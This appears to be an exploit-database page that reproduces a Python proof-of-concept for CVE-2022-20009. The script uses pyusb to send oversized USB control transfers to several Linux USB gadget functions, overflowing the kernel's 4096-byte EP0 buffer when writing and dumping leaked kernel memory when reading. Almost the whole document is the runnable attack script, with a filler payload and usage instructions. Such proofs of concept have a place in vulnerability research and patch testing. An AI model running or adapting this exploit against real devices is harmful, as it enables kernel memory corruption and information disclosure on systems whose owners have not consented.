4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / gadget.py PY
#!/usr/bin/python3

'''

This sample script attempts to exploit lack
of control transfer request wLength limiting
by Linux kernel's USB gadget subsystem.

On the host side use a custom build of libusb
with MAX_CTRL_BUFFER_LENGTH increased to 0xffff
from default value of 4096.

The EP0 buffer as allocated in composite.c is
USB_COMP_EP0_BUFSIZ bytes large so everything past
4096 will cause buffer overflow.

Use samples:
sudo ./gadget.py -v 0x18d1 -p 0x4e23 -f gsi

This script requires pyusb.

https://github.com/szymonh/

'''

import argparse
import sys

import usb.core
import usb.util


CTRL_REQ_MAP = {
    'accessory': {
        'write': {
            'bmRequestType': 0x40,          # USB_DIR_OUT | USB_TYPE_VENDOR)
            'bRequest': 0x34,               # ACCESSORY_SEND_STRING
            'wValue': 0x00,
            'wIndex': 0x00,
        }
    },
    'audio_source': {
        'write': {
            'bmRequestType': 0x22,          # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
            'bRequest': 0x01,               # UAC_SET_CUR
            'wValue': 0x00,
            'wIndex': 0x00,
        }
    },
    'gsi': {
        'write': {
            'bmRequestType': 0x21,          # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
            'bRequest': 0x00,               # USB_CDC_SEND_ENCAPSULATED_COMMAND
            'wValue': 0x00,                 # needs to be 0
            'wIndex': 0x00,                 # needs to be equal to id
        }
    },
    'qc_rndis': {
        'write': {
            'bmRequestType': 0x21,          # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
            'bRequest': 0x00,               # USB_CDC_SEND_ENCAPSULATED_COMMAND
            'wValue': 0x00,                 # needs to be 0
            'wIndex': 0x00,                 # must be set to rndis->ctrl_id
        }
    },
    'rmnet': {
        'write': {
            'bmRequestType': 0x21,          # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
            'bRequest': 0x00,               # USB_CDC_SEND_ENCAPSULATED_COMMAND
            'wValue': 0x00,
            'wIndex': 0x00,
        }
    },
    'mtp': {
        'write': {
            'bmRequestType': 0x21,          # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
            'bRequest': 0x64,               # MTP_REQ_CANCEL
            'wValue': 0x00,                 # needs to be 0
            'wIndex': 0x00,                 # needs to be 0
        }
    }
}


def auto_int(val: str) -> int:
    '''Convert arbitrary string to integer

    Used as argparse type to automatically handle input with
    different base - decimal, octal, hex etc.

    '''
    return int(val, 0)


def parse_args() -> argparse.Namespace:
    '''Parse command line arguments

    '''
    parser = argparse.ArgumentParser(
        description='Sample exploit for CVE-2022-20009'
    )

    parser.add_argument('-v', '--vid',  type=auto_int, required=True,
                        help='vendor id')
    parser.add_argument('-p', '--pid', type=auto_int, required=True,
                        help='product id')
    parser.add_argument('-l', '--length', type=auto_int, default=0xffff,
                        required=False, help='lenght of data to write')
    parser.add_argument('-d', '--direction', type=str, default='read',
                        choices=['read', 'write'],
                        help='direction of operation from host perspective')
    parser.add_argument('-f', '--function', type=str, default='audio_source',
                        choices=('accessory', 'audio_source', 'gsi', 'qc_rndis', 'rmnet', 'mtp'))

    return parser.parse_args()


def setup_device(args: argparse.Namespace):
    '''Find and prepare the usb device

    '''
    usbdev = usb.core.find(idVendor=args.vid, idProduct=args.pid)
    if usbdev is None:
        print('Device not found, verify specified VID and PID')
        sys.exit(1)

    for cfg in usbdev:
        for idx in range(cfg.bNumInterfaces):
            if usbdev.is_kernel_driver_active(idx):
                usbdev.detach_kernel_driver(idx)
    #usbdev.set_configuration()
    return usbdev


def build_payload(length: int) -> bytearray:
    '''Provide a payload to use

    This should include some nice code but for
    pure demo As should be fine.

    '''
    payload = bytearray()
    for _ in range(0, length):
        payload.append(ord('A'))
    return payload


def pick_request(args: argparse.Namespace) -> dict:
    '''Choose control transfer request

    '''
    if args.direction not in CTRL_REQ_MAP[args.function]:
        args.direction = list(CTRL_REQ_MAP[args.function].keys())[0]

    ctrl_req = CTRL_REQ_MAP[args.function][args.direction]

    if args.direction == 'read':
        ctrl_req['data_or_wLength'] = args.length
    else:
        ctrl_req['data_or_wLength'] = build_payload(args.length)

    return ctrl_req


def present_response(args: argparse.Namespace, data) -> None:
    '''Present the retrieved mem contents for read

    '''
    if args.direction == 'write':
        print('Wrote {} bytes of data'.format(data))
        print('Please check the device state')
    else:
        sys.stdout.buffer.write(data)


def exploit(args: argparse.Namespace) -> None:
    '''Exploit the Gadget

    '''
    usbdev = setup_device(args)
    ctrl_req = pick_request(args)
    data = usbdev.ctrl_transfer(**ctrl_req)
    present_response(args, data)


if __name__ == '__main__':
    exploit(parse_args())